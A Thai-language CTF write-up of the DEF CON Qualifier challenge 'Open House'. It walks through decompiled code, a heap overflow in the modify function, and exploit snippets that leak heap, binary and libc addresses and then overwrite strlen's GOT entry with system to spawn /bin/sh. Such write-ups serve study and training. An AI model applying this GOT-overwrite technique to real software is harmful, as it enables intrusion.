สวัสดีครับคุณผู้อ่านทุกท่าน เมื่อวันเสาร์ — อาทิตย์ที่ผ่านมานี้ ผมได้เล่น CTF ของ DEF CON Qualifier ก็เลยนำเอาข้อที่ผมทำได้มาเขียนบทความให้ทุกคนซะเลย ข้อนี้ชื่อ Open House
ดาวน์โหลด Binary มานั้นก็ลองเล่นและ reverse ปกติ โปรแกรมจะให้เรา create/view/modify/delete ข้อมูลได้ ซึ่งข้อมูลจะอยู่ในลักษณะที่เป็น Doubly Linked List ก็คือมี pointer ชี้ไป next และ previous นั่นเอง
Checksec
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
ตัว Binary ไม่ได้เปิด RELRO ไว้เราสามารถเขียนทับ GOT ได้ แต่ว่ามีการเปิด PIE แปลว่า Address ต่าง ๆ จะโดนสุ่มใหม่ตลอด
ลองเล่นโปรแกรม + reenigne esrever
โปรแกรมจะมี 5 เมนูให้เลือก เราสามารถ create/view/modify/delete/quit
[C]reate
มาดูที่ create กันก่อนครับ ผมใช้ Ghidra decompile โปรแกรม จัดการเปลี่ยนชื่อฟังก์ชัน/ตัวแปรเสร็จแล้วก็จะได้ 2 ฟังก์ชันตามด้านล่างครับ
void create(void)
{
char *pcVar1;
size_t sVar2;
char buff [1024]; // ประกาศ buff 1024 bytes
fputs("Absolutely, we\'d love to have your review!\n",stdout);
pcVar1 = fgets(buff,1024,stdin); // รับ input มา 1024 bytes เก็บที่ buff
if (pcVar1 != (char *)0x0) {
sVar2 = strlen(buff);
if (sVar2 == 0) {
fputs("I know. I\'m speechless, too! It really is a great property.\n",stdout);
}
else {
init_data(buff); // มาเรียกฟังก์ชันนี้โดยส่ง buff ไปด้วย
fputs("Thanks!\n",stdout);
}
}
return;
}
ฟังก์ชัน create นั้นจะมีการรับ input ไปเก็บไว้ที่ buff จากนั้นไปเรียกอีกฟังก์ชัน ในที่นี้ผมขอเรียกว่าฟังก์ชัน init_data() ครับ จากนั้นที่ฟังก์ชัน init_data() ด้านล่างนี่แหละ คือตอนที่จะ create new chunk ใน heap ครับ
void init_data(char *buff)
{
char *__dest;
void *pvVar1;
size_t sVar2;
size_t buff_size;
undefined *i;
// 6 บรรทัดจากนี้ คือ loop ไปถึง last node (i+0x200 == null) แล้วจอง memory 520 bytes จากนั้น set pointer ของ last node และ new node ให้เชื่อมกัน (ให้นึกถึงเวลาเราเขียน doubly linked list ครับ เหมือน ๆ กัน)
for (i = &DAT_00013164; *(int *)(i + 0x200) != 0; i = *(undefined **)(i + 0x200)) {}
pvVar1 = malloc(520);
*(void **)(i + 0x200) = pvVar1;
*(undefined **)(*(int *)(i + 0x200) + 0x204) = i;
__dest = *(char **)(i + 0x200);
*(undefined4 *)(__dest + 0x200) = 0;
DAT_0001336c = DAT_0001336c + 1;
sVar2 = strlen(buff);
if (sVar2 < 513) {
buff_size = strlen(buff); // ถ้า buff size น้อยกว่า 513 ก็ให้ใช้ buff size นั้นไปเลย
}
else {
buff_size = 512; // แต่ถ้า buff size มากว่าหรือเท่ากับ 513 ก็กำหนดค่าให้ buff size เป็น 512 แทน
}
strncpy(__dest,buff,buff_size); // copy ค่า buff ไปที่ heap (__dest) ทั้งหมด 512 bytes
return;
}
ในฟังก์ชัน init_data() เริ่มมาโปรแกรมจะ loop ไปถึง last chunk แล้วจอง memory 520 bytes จากนั้น set pointer ของ last chunk และ new chunk ให้เชื่อมกัน และเช็ก buff size ว่าต้องเป็น 512 bytes เท่านั้น จากนั้นถึงจะค่อย copy ค่าจาก buff ไปที่ heap (new chunk ที่จองไว้)
[M]odify
void modify(void)
{
char *pcVar1;
ulong uVar2;
char *local_22c;
ulong i;
char buff [528];
char *heap;
heap = &DAT_00013164; // head pointer (node แรกสุดใน linked list)
fputs("Which of these reviews should we replace?\n",stdout);
pcVar1 = fgets(buff,528,stdin); // รับ index ของ node ที่อยากแก้ไขข้อมูล
if (pcVar1 != (char *)0x0) {
uVar2 = strtoul(buff,(char **)0x0,10);
// loop ใน linked list จนไปถึง index ที่อยากแก้ไข
for (i = 0; i != uVar2; i = i + 1) {
if (*(int *)(heap + 512) == 0) {
local_22c = heap;
}
else {
local_22c = *(char **)(heap + 512);
}
heap = local_22c;
if (*(int *)(local_22c + 512) == 0) break;
}
fprintf(stdout,"Replacing this one: %s\n",heap);
fputs("What do you think we should we replace it with?\n",stdout);
fgets(heap,528,stdin); // รับ input 528 bytes ไปเก็บที่ node นั้น ๆ
}
return;
}
ฟังก์ชัน Modify มีหน้าที่รับ index ของ chunk ที่ต้องการแก้ไขไป จากนั้น loop ใน linked list จนไปถึง chunk นั้น และใช้ fgets() ในการรับ input 528 bytes จากเราไปเก็บใน chunk นั้น
[V]iew และ [D]elete
2 อันนี้ขอไม่แปะโค้ดนะครับ เพราะไม่ได้มีอะไรสำคัญมากครับ สรุปคร่าว ๆ ประมาณนี้
- view — loop ใน linked list และ print ข้อมูลของแต่ละ chunk ออกมา
- delete — loop ใน linked list จนไปถึง chunk ที่ต้องการลบ จากนั้นก็ free(chunk) และ set pointer ใหม่ครับ
Structure
หลังจากที่ได้ลองเล่นโปรแกรม + Reverse + Debug ดูแล้วก็จะได้ Layout และ structure ของแต่ละ chunk ตามรูปด้านล่างครับ ซึ่งจริง ๆ จะแบ่งเป็น 2 ส่วน คือ
- Head Chunk (ขอเรียกแบบนี้นะครับ จะได้ไม่งง) จะอยู่ใน .bss/.data ครับ ซึ่งใช้เป็น Pointer หลักในการวิ่งไปตาม linked list และทำงานต่าง ๆ
- Chunk A, B และ C จะเป็นส่วนที่อยู่ใน Heap ครับ
Heap Buffer Overflow
มาถึง bug ที่เจอในโปรแกรมละครับ จากที่ reverse และ debug มา เราจะเห็นได้ว่าในตอน create() โปแกรมจะจอง memory ไว้ 520 bytes แต่จะรับ input 512 bytes เท่านั้น เพื่อป้องกันไม่ให้เกิดการ overflow ไปทับ Next/Prev pointer
ปัญหาคือในตอนที่ Modify แทนที่จะรับ input 512 bytes โปรแกรมดันรับ input มา 528 bytes แทน เลยทำให้เกิด Buffer Overflow ไปทับ Next/Prev pointer ได้ เท่ากับว่าเราคุม pointer เพื่อทำ arbitrary read/write ได้ครับ ลองมาทำให้ตัว binary crash กันหน่อยครับ
เริ่มต้นมา create new chunk แล้ว modify chunk ไหนก็ได้ซักอันนึง จากนั้นใส่ A ไป 526 ตัว (+ ‘\n00’ ที่ fgets() เติมให้) จากนั้นลอง view ดู ก็จะเห็นได้ว่าเกิด Segmentation fault ครับ
อันนี้เป็นภาพ memory ก่อนจะโดน overwrite
หลังจาก overwrite ไปแล้วก็จะเห็นว่าตรง next pointer โดน overwrite เป็น 0x41414141 ครับ ซึ่งเป็น invalid address ก็เลยทำให้ crash ไปครับ
พอได้ bug แบบนี้แล้ว ก็เลยมาหาวิธีทำต่อ ซึ่งจากที่ binary เปิด PIE ไว้ ผมเลยคิดว่าอย่างแรกจะต้องทำ Info leak ก่อนเพื่อที่จะเอาค่าต่าง ๆ มาคำนวณเพื่อให้ได้ binary base / GOT / Libc base จากนั้นด้วยความที่ binary เป็น No Relro ทำให้ GOT นั้น read/write ได้ เลยคิดว่าจะไป overwrite GOT ซึ่งในที่นี้ผมเลือกที่จะเขียนทับ GOT ของ strlen() ด้วย system() ให้มัน spawn shell ครับ
ที่ผมติดอยู่นานมาก ๆ เพราะ คิดไม่ออกว่าจะ leak address อะไร แล้วจะ leak ยังไง เพราะเราไม่รู้ address อะไรเลย อีกอย่างถ้าใช้ modify ในการเขียนทับ next pointer แล้ว leak จากการ view มันดันติดเรื่อง null byte จากตอน fgets() ครับ
fgets(heap,528,stdin);
พอมันมี null byte จาก fgets() กลายเป็นว่าตอนที่ view มันใช้ fprintf() ซึ่งจะหยุด print ตอนเจอ null byte นั่นเอง
fprintf(stdout,”**** — %s\n”,i);
.
.
มาคิดออกอย่างนึงตอนนั่งไล่โค้ดอีกที คือ เราสามารถ modify ข้อมูลของ head chunk ได้ด้วย ผมเลยใช้วิธีไป overwrite ที่ head->next โดยการเขียนทับแค่ 1 byte ด้วย null byte แล้วก็ modify chunk1 โดยใส่ buffer ให้เต็ม แต่เว้นตรง next pointer ให้เป็น null ครับ จากนั้น create new chunk ขึ้นมา ในตอน create โปรแกรมมันจะวิ่งจาก head chunk มาที่ new chunk1 และเช็คว่า next pointer เป็น null รึเปล่า ถ้าเป็น null (โปรแกรมจะมองว่าเป็น chunk สุดท้าย) ก็จะสร้าง new chunk2 ขึ้นมาแล้วต่อ linked list โดยการ set address ของ new chunk2 มาไว้ที่ new_chunk1 -> next เราก็จะสามารถ leak address ของ heap ได้แล้วครับ
create(b'A' * 8)
# off-by-one in head -> next
modify(b'0', b'A' * 511)
# modify chunk 1 with 'B'
modify(b'1', b'B' * 511 + b'.' + p32(0) + b'.BBB')
# create new chunk and leak heap address
create(b'C' * 8)
view()
พอทำแล้วเราจะได้ภาพจะประมาณนี้โดยในกรอบสีแดงคือ linked list เส้นใหม่ที่เราได้สร้างขึ้นมาจากขั้นตอนด้านบน
ใน memory จะเห็นเป็นแบบนี้ครับ ในกรอบสีแดงคือ head->next ที่โดน overwrite ด้วย null byte ครับ
ส่วนอันนี้ คือ new chunk1 ในกรอบสีแดงคือ address ของ new chunk2 ครับ
ได้ address มาละครับ
จากนั้นผมต้องการ address ของ head chunk เพื่อมาคำนวณหา binary base จากนั้นเอา binary base ที่ได้ไปคำนวณหา GOT อีกที ผมก็เลยเอา address ของ new chunk2 ที่ได้มาคำนวณหาว่าตัว old_chunk1->prev อยู่ address อะไร จากนั้นก็ใช้วิธีเดิมครับ modify head chunk แล้ว Overwrite head->next ด้วย address ของ old_chunk1->prev เพื่อที่จะได้ leak เอา address ของ head chunk ออกมาครับ
# calculate old_chunk1->prev
leak = u32(r.recvuntil(b'\n\n').split(b'.')[1])
head_ptr = leak - 0x24bc
# overwrite head->next
modify(b'0', b'\x00' * 512 + p32(head_ptr))
view()
เราก็จะได้ address ของ head chunk มาแล้ววว
จากนั้นผมก็จะเอา address มาคำนวณหา GOT address ของ __libc_start_main ครับ แล้ว overwrite new_chunk1->next ด้วย address ที่ได้ เพื่อ leak libc address ออกมา แล้วนำไปหา Libc version จากนั้นค่อยหา offset ของฟังก์ชัน system ครับ โดยในการหา libc version ผมใช้ตัวนี้ครับ https://github.com/niklasb/libc-database
heap_ptr = u32(r.recvuntil(b'\n').strip().split(b' ')[-1])
binary_base = (heap_ptr - 0x164) - 0x3000
strlen_got = binary_base + 0x3140
__libc_start_main_got = binary_base + 0x3120
# overwrite new_chunk1->next with GOT address of __libc_start_main
modify(b'1', b'E' * 512 + p32(__libc_start_main_got))
# leak
view()
แล้วเราก็จะได้ address ของส่วนต่าง ๆ เพื่อไปใช้งานต่อครับ
ถึงเวลา spawn shell แล้วครับ วิธีการเหมือนเดิมเลยครับ ผม overwrite head->next ด้วย GOT address ของ strlen จากนั้นใช้ modify ในการเขียน address ของ system() ไปที่ strlen() ครับ จากนั้นก็แค่ create new chunk ขึ้นมาโดยใส่ content เป็น /bin/sh ครับ แทนที่โปรแกรมจะเรียก strlen(‘/bin/sh’) เพื่อเช็ก buff size มันจะไปเรียก system(‘/bin/sh’) ครับ เราก็จะได้ shell แล้วครับ
# overwrite head->next to GOT addr of strlen
modify(b'0', b'\x00' * 512 + p32(strlen_got))
# overwrite strlen() with system()
modify(b'1', p32(system))
# create new chunk with '/bin/sh'
create(b'/bin/sh')
เท่านี้ก็จะได้ shell ตามภาพด้านบนแล้วครับ
สุดท้ายนี้ ต้องบอกว่าบทความนี้อาจจะมีบางจุดที่อธิบายงง ๆ ไปหน่อย เพราะเรียบเรียงได้ไม่ค่อยดีเท่าไหร่ บวกกับบางอย่างผมก็ไม่รู้จะเขียนอธิบายยังไงดี และสำหรับวันนี้ก็เอาไว้เท่านี้แล้วกันครับ ไว้เจอกันบทความหน้าครับ สวัสดีครับบบ